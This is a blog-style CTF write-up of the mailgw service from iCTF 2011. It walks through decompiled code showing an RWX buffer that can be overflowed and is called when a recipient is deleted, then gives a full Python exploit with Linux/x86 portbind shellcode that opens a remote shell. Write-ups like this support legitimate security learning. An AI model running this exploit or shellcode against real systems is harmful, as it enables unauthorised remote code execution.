Saturday, December 3, 2011

Write up Mailgw ICTF2011

It was best CTF, which I ever played. Thanks to organisers very much. I'm in TU Berlin write know and I played with ENOFLAG team.
In this topic I will describe mailgw service.

Lets analyse it with IDA. Analysis of server application should starts from accept function.
while ( 1 )
{
  v23 = 16;
  v24 = accept(v25, (struct sockaddr *)&v28, (socklen_t *)&v23);
  if ( v24 < 0 )
  {
    v13 = __errno_location();
    v14 = strerror(*v13);
    fprintf(stderr, "ERROR: accept on socket failed: %s\n", v14);
    result = 1;
    goto LABEL_34;
  }
  v19 = fork();
  if ( v19 < 0 )
  {
    v15 = __errno_location();
    v16 = strerror(*v15);
    fprintf(stderr, "ERROR: fork failed: %s\n", v16);
    result = 1;
    goto LABEL_34;
  }
  if ( !v19 )
    break;
  close(v24);
}
dup2(v24, 0);
dup2(v24, 1);
result = manage_tcp_client();
}

As you can see. Child logic provides in manage_tcp_client function.
There is a switch with following values:
n - create account;
q - quit;
m - message;
r - read;
+ - create recipient;
- - create recipient;
l - list recipients;
s - send message.

Main attention attract the '+' block.
There is memory allocation and


mprotect((void *)(-v12 & (unsigned int)s2), ((unsigned int)&s2[v12 + 283] & -v12) - (_DWORD)addr, 7);

7 means EXEC+WRITE+READ. What I've done first, is patch this value to 3.
Next interesting place is filling protected buffer with code.


v15 = s2 + 260;
i = 0;
s2[260] = -52;
++i;
*(_DWORD *)&v15[i] = 0x82474FFu;
i += 4;
*(_DWORD *)&v15[i] = 0x82454FFu;
i += 4;
*(_DWORD *)&v15[i] = 0xC304C483u;
i = 0;
while ( 2 )
{
    if ( read(0, &ptr, 1u) )
    {
      s2[i] = ptr;
      if ( ptr != 124 )
      {
        ++i;
        continue;
      }
      s2[i] = 0;
    }
    break;
}

This buffer can be dissembled.
push        dword ptr [esp+0x8]
call        dword ptr [esp+0x8]
add         esp, 0x4
ret  

As you can see from this peace of code, that the no limits for adding values in s2 buffer. And also there is a possibility to write over own code to s2+260. But first of all we need to find a place where this buffer called. Note, that buffer size if 284. Last values are list entry's. Also, note, that, for adding and deleting recipients, necessary to add + in the first place and | as last symbol.

Lets move to the '-' handler.

for ( s2 = *(char **)&recipients[276]; s2 != recipients; s2 = (char *)*((_DWORD *)s2 + 69) )
{
    if ( !strcmp(s1, s2) )
    {
      ((void (__cdecl *)(_DWORD, char *))(s2 + 261))(*((_DWORD *)s2 + 64), s2);
      *(_DWORD *)(*((_DWORD *)s2 + 69) + 280) = *((_DWORD *)s2 + 70);
      *(_DWORD *)(*((_DWORD *)s2 + 70) + 276) = *((_DWORD *)s2 + 69);
      if ( debug )
        fprintf(stderr, "Recipient %s removed\n", s1);
      free(s2);
      s2 = 0;
      break;
    }
}

As you can see.There is a call s2 + 261 in '-' handler, is the recipients exist in list.
So. What's only needed is to put shellcode, as a recipent, to the buffer and then delete this reciepent. The one problem was to through away from strcmp function. For such purpose add 00 value as a first value.
Then put shellcode and at the offset 261 put relative jmp to 260 bytes back. "\xe9\xf7\xfe\xff\xff".
In my example I take Linux/x86 - forking portbind shellcode - port=0xb0ef(45295) - 200 bytes from Shell-Storm

import socket
import sys
HOST, PORT = "192.168.1.3", 9119
shell = "\x00"
shell +="\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
shell +="\x06\x51\xb1\x01\x51\xb1\x02\x51"
shell +="\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
shell +="\x89\xc1\x31\xc0\x31\xdb\x50\x50"
shell +="\x50\x66\x68\xb0\xef\xb3\x02\x66"
shell +="\x53\x89\xe2\xb3\x10\x53\xb3\x02"
shell +="\x52\x51\x89\xca\x89\xe1\xb0\x66"
shell +="\xcd\x80\x31\xdb\x39\xc3\x74\x05"
shell +="\x31\xc0\x40\xcd\x80\x31\xc0\x50"
shell +="\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
shell +="\x80\x89\xd7\x31\xc0\x31\xdb\x31"
shell +="\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
shell +="\x80\x31\xc0\x31\xdb\x50\x50\x57"
shell +="\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
shell +="\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
shell +="\xcd\x80\x39\xc3\x75\x40\x31\xc0"
shell +="\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
shell +="\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
shell +="\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
shell +="\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
shell +="\x50\x68\x2f\x2f\x73\x68\x68\x2f"
shell +="\x62\x69\x6e\x89\xe3\x8b\x54\x24"
shell +="\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
shell +="\x80\x31\xc0\x40\xcd\x80\x31\xc0"
shell +="\x89\xf3\xb0\x06\xcd\x80\xeb\x99"
shell +="\x90" * (261 - len(shell))
print len(shell)
shell +="\xe9\xf7\xfe\xff\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
str1 = '+'+ shell + "|\n"
print str1
sock.send(str1)
str2 = '-'+ shell + "|\n"
sock.send(str2)
sock.close()



Read more...